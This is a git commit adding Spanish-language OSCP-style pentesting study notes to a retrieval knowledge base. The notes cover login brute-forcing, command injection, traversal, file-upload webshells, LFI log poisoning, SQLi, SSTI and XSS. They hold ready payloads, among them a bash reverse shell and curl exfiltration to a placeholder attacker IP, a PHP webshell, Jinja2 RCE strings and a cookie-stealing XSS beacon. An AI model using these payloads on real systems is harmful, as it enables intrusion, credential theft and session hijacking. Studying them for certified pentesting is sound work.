saber: pack de metodologia publico (conocimiento/) + doc del RAG

El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
2026-08-16 17:58:41 +02:00 · 2026-08-16 17:58:41 +02:00 · 7e06ce46cf
commit 7e06ce46cf
parent 12987539a4
76 changed files with 2682 additions and 8 deletions
--- a/nucleo/saber/conocimiento/02
+++ b/nucleo/saber/conocimiento/02
@ -0,0 +1,34 @@
+# Authentication attacks
+
+> Romper logins web: credenciales por defecto, fuerza bruta y bypass. Casi siempre el primer intento en Hacking web.
+
+## 1. Lo gratis primero
+- **Credenciales por defecto**: `admin:admin`, `admin:password`, `root:root`, las del CMS/producto (búscalas: `searchsploit <producto>` o Google).
+- **Reutilización**: cualquier credencial que pillaste antes (Metodología OSCP).
+
+## 2. Fuerza bruta con hydra
+```bash
+# Formulario POST: necesitas el campo y el mensaje de fallo
+hydra -l admin -P /usr/share/wordlists/rockyou.txt IP http-post-form \
+  "/login.php:user=^USER^&pass=^PASS^:Invalid credentials"
+# HTTP Basic Auth:
+hydra -L users.txt -P pass.txt IP http-get /admin
+# SSH (si hay user válido):
+hydra -l bob -P rockyou.txt ssh://IP
+```
+- El `:F=mensaje` o `:S=éxito` es lo que distingue fallo de acierto → cógelo en Burp Repeater e Intruder.
+
+## 3. Wordlists a medida
+```bash
+cewl http://IP -w custom.txt          # palabras de la propia web
+# combinar con reglas de hashcat / variaciones
+```
+
+## 4. Bypass (no fuerza bruta)
+- **SQLi en el login** → `' OR '1'='1'-- -` → SQL injection.
+- **Cookies/roles manipulables**: `isAdmin=false` → `true`, `role=user` → `admin` (en Burp Suite).
+- **JWT**: alg `none`, secreto débil (`jwt_tool`, crackeo con rockyou).
+- **IDOR**: cambia `?id=1` por `?id=2` y accedes a datos de otro.
+- **Cookie/sesión robada** vía XSS.
+
+Relacionado: Burp Repeater e Intruder · SQL injection · OSCP MOC
--- a/nucleo/saber/conocimiento/02
+++ b/nucleo/saber/conocimiento/02
@ -0,0 +1,26 @@
+# Burp Repeater e Intruder
+
+> Las dos pestañas de trabajo de Burp Suite: **Repeater** para probar a mano, **Intruder** para automatizar.
+
+## Repeater (manual, tu favorito en OSCP)
+- `Ctrl+R` envía una petición capturada aquí.
+- Editas cualquier parte (param, header, cookie, body) y **Send** → ves la respuesta al instante.
+- Ideal para iterar payloads de SQL injection, Command injection, SSTI, Directory traversal sin recargar el navegador.
+- Flujo: marca la petición sospechosa → `Ctrl+R` → prueba `'`, luego `' OR 1=1-- -`, observa el cambio.
+
+## Intruder (automatizar payloads)
+- `Ctrl+I` envía aquí. Marcas **posiciones** con `Add §` (Burp pone `§payload§`).
+- Tipos de ataque:
+```
+Sniper        → 1 lista, 1 posición a la vez   (fuzzing de un parámetro)
+Battering ram → 1 lista, misma en todas las posiciones
+Pitchfork     → N listas en paralelo (user[1]+pass[1], user[2]+pass[2]...)
+Cluster bomb  → todas las combinaciones (user × pass) → fuerza bruta de login
+```
+- **Community va ralentizado** (throttle). Para fuerza bruta seria de login usa **hydra**; para fuzzing de rutas/params usa **ffuf** → Content discovery.
+
+## Cuándo cada uno
+- ¿Una petición, muchas variantes a ojo? → **Repeater**.
+- ¿Misma petición, cientos de payloads? → **Intruder** (o ffuf/hydra si Community se queda corto).
+
+Relacionado: Burp Suite · Authentication attacks · OSCP MOC
--- a/nucleo/saber/conocimiento/02
+++ b/nucleo/saber/conocimiento/02
@ -0,0 +1,39 @@
+# Burp Suite
+
+> El proxy de interceptación: se pone **entre tu navegador y la web** para ver y **modificar** cada petición. La herramienta nº1 del Hacking web. Instalado en `tu carpeta`.
+
+## Arrancar
+```bash
+tu carpeta
+# o:  java -jar tu carpeta
+```
+
+## Montar el proxy (lo primero)
+1. Navegador → proxy `127.0.0.1:8080` (usa **FoxyProxy** para alternar rápido).
+2. Instala el certificado CA de Burp: visita `http://burp` → *CA Certificate* → impórtalo en el navegador (sin esto, HTTPS da error).
+3. O usa el **navegador embebido** de Burp (Proxy → Open Browser), ya viene configurado.
+
+## Las pestañas que usarás
+```
+Proxy    → Intercept ON/OFF. Capturas y reenvías/modificas peticiones.
+Target   → Site map: el árbol de todo lo que has visitado.
+Repeater → reenviar UNA petición tweakeándola → Burp Repeater e Intruder
+Intruder → automatizar payloads (fuzzing, fuerza bruta) → Burp Repeater e Intruder
+Decoder  → URL/base64/hex encode-decode
+Comparer → diff entre dos respuestas
+```
+
+## Atajos clave
+- `Ctrl+R` → enviar petición a **Repeater**
+- `Ctrl+I` → enviar a **Intruder**
+- `Ctrl+Shift+B` → base64
+
+## Community vs Pro (OSCP)
+Community vale de sobra para el examen. Limitaciones: **Intruder va ralentizado** y **no hay scanner activo** (que de todas formas está prohibido → Reglas de herramientas). Para fuzzing/fuerza bruta intensiva tira de Content discovery (ffuf) o hydra.
+
+## Para qué lo usas en cada vector
+- Cambiar `Content-Type` y extensión en File upload bypass.
+- Manipular cookies/headers en Authentication attacks.
+- Probar a mano `'`, `;`, `../`, `{{7*7}}` en SQL injection, Command injection, Directory traversal, SSTI.
+
+Relacionado: Hacking web · OSCP MOC
--- a/nucleo/saber/conocimiento/02
+++ b/nucleo/saber/conocimiento/02
@ -0,0 +1,36 @@
+# Command injection
+
+> Un parámetro web acaba dentro de un comando del sistema → ejecutas comandos. RCE directo, vector top del Hacking web.
+
+## Dónde aparece
+Funciones que "hacen algo" con tu input: `ping`, `nslookup`, convertir imágenes, export, backup, "test connection".
+
+## Separadores a probar (en Burp Repeater e Intruder)
+```
+;id           ejecuta tras el comando
+| id          pipe
+& id   / && id   encadenado
+`id`   $(id)   sustitución de comando
+%0a id        newline (a veces evade filtros)
+```
+Ejemplo: `?host=127.0.0.1;id` → si ves `uid=...` en la respuesta, tienes RCE.
+
+## Blind (no ves la salida)
+```bash
+# basado en tiempo:
+?host=127.0.0.1 && sleep 5        # ¿tarda 5s? → vulnerable
+# out-of-band:
+?host=127.0.0.1; curl http://TU_IP/$(whoami)   # míralo en tu http.server
+```
+
+## De RCE a shell
+```
+?host=127.0.0.1; bash -c 'bash -i >& /dev/tcp/TU_IP/4444 0>&1'
+```
+→ recíbela en tu listener (Reverse shell, ojo al Egress filtering).
+
+## Bypass de filtros
+- Espacios filtrados → `${IFS}`, `$IFS$9`, `<`.
+- Palabras filtradas → `w''hoami`, `wh\oami`, variables.
+
+Relacionado: Directory traversal · Reverse shell · OSCP MOC
--- a/nucleo/saber/conocimiento/02
+++ b/nucleo/saber/conocimiento/02
@ -0,0 +1,32 @@
+# Content discovery
+
+> Descubrir rutas, ficheros y endpoints ocultos por fuerza bruta. El paso que más vectores destapa en Hacking web. Complementa Enumeración web.
+
+## Las tres herramientas
+```bash
+# gobuster (rápido, directo)
+gobuster dir -u http://IP -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,txt,html
+
+# feroxbuster (RECURSIVO automático, el favorito para OSCP)
+feroxbuster -u http://IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -x php,txt,bak
+
+# ffuf (el más flexible: filtros, vhosts, params)
+ffuf -u http://IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e .php,.txt
+```
+
+## Lo que importa
+- **Extensiones** (`-x` / `-e`): prueba según la tecnología → `php`, `asp`, `aspx`, `txt`, `bak`, `zip`, `old`.
+- **Recursión**: feroxbuster baja solo a las carpetas que encuentra (gobuster no).
+- **Wordlists**: `raft-large-words`, `directory-list-2.3-medium`. `common.txt` es nivel junior (Trampas de enumeración).
+- **Filtrar ruido** en ffuf: `-fc 404` (código), `-fs 1234` (tamaño), `-mc 200,301,302`.
+
+## Más allá de directorios
+```bash
+ffuf -u http://IP/page.php?FUZZ=test -w params.txt        # descubrir parámetros (o usa arjun)
+ffuf -H "Host: FUZZ.objetivo.htb" -u http://IP -w subs.txt # vhosts → Vhosts y subdominios
+```
+
+## Qué hacer con lo encontrado
+Cada ruta nueva = superficie nueva → vuelve a Hacking web y pruébala (login → Authentication attacks, `?file=` → Directory traversal, upload → File upload bypass).
+
+Relacionado: Burp Suite · Enumeración web · OSCP MOC
--- a/nucleo/saber/conocimiento/02
+++ b/nucleo/saber/conocimiento/02
@ -0,0 +1,37 @@
+# Directory traversal
+
+> Salir del directorio web con `../` para **leer ficheros arbitrarios**. Distinto de LFI a RCE: traversal solo **lee**; LFI **incluye/ejecuta**. Vector de Hacking web.
+
+## Dónde
+Parámetros que apuntan a ficheros: `?file=`, `?page=`, `?download=`, `?doc=`, `?path=`, `?lang=`.
+
+## Payloads
+```
+../../../../etc/passwd
+....//....//....//etc/passwd          (bypass de filtro que quita "../")
+%2e%2e%2f%2e%2e%2fetc%2fpasswd        (URL-encode)
+%252e%252e%252f                        (doble URL-encode)
+/etc/passwd                            (ruta absoluta directa)
+..%c0%af..%c0%af                       (UTF-8 overlong)
+```
+
+## Windows
+```
+..\..\..\..\windows\win.ini
+..\..\..\..\windows\system32\drivers\etc\hosts
+```
+
+## Ficheros jugosos
+```
+/etc/passwd  /etc/shadow  /etc/hosts
+~/.ssh/id_rsa            → login SSH directo
+config.php  web.config  .env  → credenciales de BD
+/var/www/html/...        → código fuente (busca creds, segundos vectores)
+```
+
+## Siguiente paso
+- Lees `id_rsa` → SSH como ese usuario.
+- Lees código/config → credenciales → Authentication attacks / reutilización.
+- Si además se **incluye** (PHP) → escala a LFI a RCE.
+
+Relacionado: LFI a RCE · Burp Repeater e Intruder · OSCP MOC
--- a/nucleo/saber/conocimiento/02
+++ b/nucleo/saber/conocimiento/02
@ -0,0 +1,16 @@
+# File upload bypass
+
+> Subir una webshell cuando el upload está "filtrado". Vector de Hacking web. Manipula la subida con Burp Suite.
+
+## Trucos
+```
+Doble extensión   → shell.php.jpg, shell.phtml, .phar, .pht
+Magic bytes       → GIF89a;<?php system($_GET['c']); ?>
+Content-Type      → Burp: cambiar a image/jpeg
+.htaccess         → reasignar el handler para que .jpg se ejecute como PHP
+```
+
+## Flujo
+1. Subes la webshell evadiendo el filtro.
+2. La localizas (fuzzing de `/uploads/` → Enumeración web).
+3. `?c=...` → RCE → lanzas Reverse shell.
--- a/nucleo/saber/conocimiento/02
+++ b/nucleo/saber/conocimiento/02
@ -0,0 +1,31 @@
+# Hacking web (metodología)
+
+> Cómo atacar una web paso a paso. En el OSCP, la web es el **foothold** más común de las máquinas standalone. Sub-índice de Enumeración dentro de la Metodología OSCP.
+
+## El flujo
+```
+1. ENUMERAR        → Enumeración web + Content discovery + Vhosts y subdominios
+2. MAPEAR superficie → cada input es un test: URL, params GET/POST, headers,
+                       cookies, formularios, uploads, JSON/API. Mapea con Burp Suite.
+3. IDENTIFICAR tecnología → whatweb, wappalyzer, headers, errores → searchsploit del CMS
+4. PROBAR cada vector (uno a uno):
+       SQL injection        (login, params, search)
+       Command injection    (params que ejecutan algo: ping, convert, export)
+       Directory traversal  (file=, path=, download=, page=)
+       LFI a RCE / RFI      (include de ficheros)
+       File upload bypass   (avatar, documento, import)
+       XSS                  (reflejo en la página)
+       SSTI                 ({{7*7}} en plantillas)
+       Authentication attacks (default creds, fuerza bruta, bypass)
+5. EXPLOTAR → de RCE a Reverse shell → luego Privesc Linux / Privesc Windows
+```
+
+## La regla de oro web
+**Todo input es sospechoso.** Por cada parámetro, prueba: comilla `'`, `<`, `;`, `../`, `{{7*7}}`, `$(id)`. La página te dice por su reacción qué vector hay.
+
+## Herramientas
+- Burp Suite (intercepta y manipula TODO) + Burp Repeater e Intruder
+- Content discovery (gobuster/feroxbuster/ffuf)
+- `nikto`, `whatweb`, `wpscan`, `cmsmap` → Enumeración web
+
+Relacionado: Recursos públicos (PayloadsAllTheThings, HackTricks) · OSCP MOC
--- a/nucleo/saber/conocimiento/02
+++ b/nucleo/saber/conocimiento/02
@ -0,0 +1,21 @@
+# LFI a RCE
+
+> Local File Inclusion → ejecución de código. Vector clásico de Hacking web. Pariente de Directory traversal (traversal lee; LFI incluye/ejecuta).
+
+## Si tienes LFI básico, prueba
+```
+/proc/self/environ            # con User-Agent malicioso
+/var/log/apache2/access.log   # log poisoning + curl con UA payload
+php://filter/convert.base64-encode/resource=index.php   # leer fuente
+data://, expect://, phar://    # PHP wrappers
+```
+
+## Log poisoning (LFI → RCE)
+1. Envías una petición con `User-Agent: <?php system($_GET['c']); ?>`.
+2. Incluyes el log: `?page=/var/log/apache2/access.log&c=id`.
+3. El PHP de tu UA se ejecuta → RCE → Reverse shell.
+
+## php://filter
+Lee el código fuente en base64 para encontrar credenciales/segundos vectores (SQL injection, creds en config).
+
+Relacionado: Hacking web · Directory traversal · File upload bypass · Reverse shell · OSCP MOC
--- a/nucleo/saber/conocimiento/02
+++ b/nucleo/saber/conocimiento/02
@ -0,0 +1,18 @@
+# SQL injection
+
+> Aprende **manual primero** (en Burp Repeater e Intruder). `sqlmap` a veces miente — y en el examen está limitado (Reglas de herramientas). Vector de Hacking web.
+
+## Bypass de login
+```
+' OR '1'='1'-- -        (con espacio - doble guion - espacio)
+```
+
+## Detección time-based
+```
+' AND SLEEP(5)-- -
+```
+
+## De SQLi a shell
+- MSSQL: `xp_cmdshell` → RCE → Reverse shell.
+- Dump de tablas → credenciales → reutilización en otros servicios (Pass-the-Hash, RDP).
+- Lectura de ficheros (`LOAD_FILE`) → puede encadenar con LFI a RCE.
--- a/nucleo/saber/conocimiento/02
+++ b/nucleo/saber/conocimiento/02
@ -0,0 +1,26 @@
+# SSTI (Server-Side Template Injection)
+
+> Tu input entra en una plantilla del servidor (Jinja2, Twig, Freemarker...) y se **evalúa** → RCE. Vector de Hacking web.
+
+## Detección
+```
+{{7*7}}        → si responde 49 → vulnerable (Jinja2/Twig)
+${7*7}         → Freemarker / otros
+<%= 7*7 %>     → ERB (Ruby)
+#{7*7}         → Ruby/otros
+```
+Si `{{7*7}}` devuelve `49` (no el literal), hay SSTI.
+
+## Identificar el motor
+Usa el árbol de polyglots de PayloadsAllTheThings (Recursos públicos) o **tplmap** para automatizar.
+
+## Jinja2 (Python) → RCE
+```python
+{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
+{{ cycler.__init__.__globals__.os.popen('id').read() }}
+```
+
+## De RCE a shell
+Inyecta el comando de Reverse shell dentro del payload → listener en Kali.
+
+Relacionado: Command injection · XSS · OSCP MOC
--- a/nucleo/saber/conocimiento/02
+++ b/nucleo/saber/conocimiento/02
@ -0,0 +1,28 @@
+# XSS (Cross-Site Scripting)
+
+> Inyectas JavaScript que se ejecuta en el navegador de otro usuario. En OSCP pesa menos que SQLi/RCE, pero aparece (sobre todo para robar sesión de un admin). Vector de Hacking web.
+
+## Tipos
+```
+Reflected → tu payload vuelve en la respuesta de ESA petición (?q=<script>...)
+Stored    → se guarda (comentario, perfil) y se dispara a quien lo vea (más potente)
+DOM       → el JS del cliente mete tu input en el DOM sin sanear
+```
+
+## Detección y payloads
+```html
+<script>alert(1)</script>
+<img src=x onerror=alert(document.domain)>
+"><svg onload=alert(1)>
+```
+Prueba primero un marcador inofensivo y mira si se **renderiza** o se escapa (en Burp Repeater e Intruder).
+
+## Para qué sirve en OSCP
+- **Robar la cookie de sesión** de un admin (XSS stored en un panel que el admin revisa):
+```html
+<script>new Image().src='http://TU_IP/c='+document.cookie</script>
+```
+  La recibes en tu `python3 -m http.server` → la usas en Authentication attacks.
+- A veces el panel admin tiene una función que escala a RCE / File upload bypass.
+
+Relacionado: SSTI · Authentication attacks · OSCP MOC